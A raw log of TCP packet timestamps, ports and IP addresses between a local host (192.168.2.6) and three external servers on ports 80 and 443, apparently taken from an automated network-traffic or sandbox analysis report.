Aug 21, 2024 08:32:16.454418898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454493999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454494953 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454559088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454572916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454581976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454632044 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454637051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454643965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454659939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454667091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454674006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454691887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454713106 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454720020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454730988 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454736948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454768896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454794884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454832077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454838037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454849005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454857111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.454889059 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.454919100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455012083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455018044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455033064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455070972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455096960 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455111027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455127001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455137968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455142975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455147028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455176115 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455180883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455187082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455190897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455193996 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455199957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455223083 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455234051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455243111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455249071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455255985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455300093 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455302000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455310106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455395937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455399990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455410957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455424070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455442905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455446005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455447912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455455065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455461979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455466986 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455467939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455485106 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455513954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455559969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455564976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455576897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455586910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455626011 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455693960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455701113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455710888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455765009 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455833912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455840111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455869913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455882072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455887079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455892086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455898046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.455904961 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455936909 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.455936909 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457149029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457154989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457156897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457191944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457199097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457214117 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457246065 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457272053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457278013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457281113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457287073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457324028 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457345009 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457351923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457357883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457371950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457376003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457401037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457401991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457412004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457422972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457432985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457442045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457443953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457449913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457456112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457459927 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457475901 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457504988 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457514048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457520008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457530022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457556963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457564116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.457566023 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.457736015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.464032888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464092970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464128971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464133978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464179993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464199066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464215040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464221001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464226961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464250088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464266062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464430094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464435101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464447021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464452028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464457989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464463949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464473009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464492083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464505911 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464535952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464541912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464556932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464560986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464575052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464586020 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464598894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464601040 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464606047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464612007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.464617014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.464646101 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465600014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465631962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465636015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465658903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465676069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465703964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465711117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465734005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465742111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465748072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465753078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465778112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465826988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465864897 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465867996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465873003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465887070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465898037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465908051 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465929031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465934038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.465940952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465950966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.465986967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.466506004 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.466520071 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.466588974 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.466603994 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.466656923 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.466901064 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.466914892 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.467025995 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.467031956 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.467200994 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.467593908 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.467607975 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.467679024 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.467684984 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.467840910 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.468281984 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.468295097 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.468368053 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.468377113 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.468499899 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.468676090 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.468691111 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.468765974 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.468765974 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.468775988 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.468822002 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.472727060 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.472745895 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.472800016 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.472806931 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.472824097 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.472870111 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.476564884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476569891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476579905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476586103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476591110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476602077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476613998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476624012 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.476654053 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.476672888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.476675987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.476756096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.479727030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.479738951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.479744911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.479792118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480099916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480106115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480119944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480124950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480143070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480148077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480159044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480164051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480169058 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480170012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480175018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480190039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480194092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480197906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480221987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480237961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480376959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480384111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480398893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480436087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480460882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480504036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480509996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480520964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480525970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480530977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480540991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480546951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480551004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480577946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480600119 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480607033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480618000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480628014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.480654955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.480679035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481158018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481164932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481174946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481206894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481213093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481220007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481224060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481230021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481249094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481271982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481383085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481389046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481400967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481411934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481417894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481429100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481434107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481440067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481446981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481447935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481447935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481473923 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481501102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481511116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481517076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481523037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481534004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.481555939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.481578112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482014894 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.482034922 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.482106924 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.482106924 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.482115984 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.482178926 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.482181072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482234001 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482304096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482310057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482320070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482326031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482330084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482336044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482348919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482352018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482355118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482367039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482377052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482379913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482383966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482397079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482413054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482430935 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482629061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482634068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482681036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482789040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482839108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482846975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482857943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482863903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482873917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482878923 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.482897043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.482932091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.483266115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483278036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483284950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483289003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483299971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483305931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483310938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.483321905 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.483360052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.489006042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.489037037 CEST	80	49720	147.45.44.104	192.168.2.6
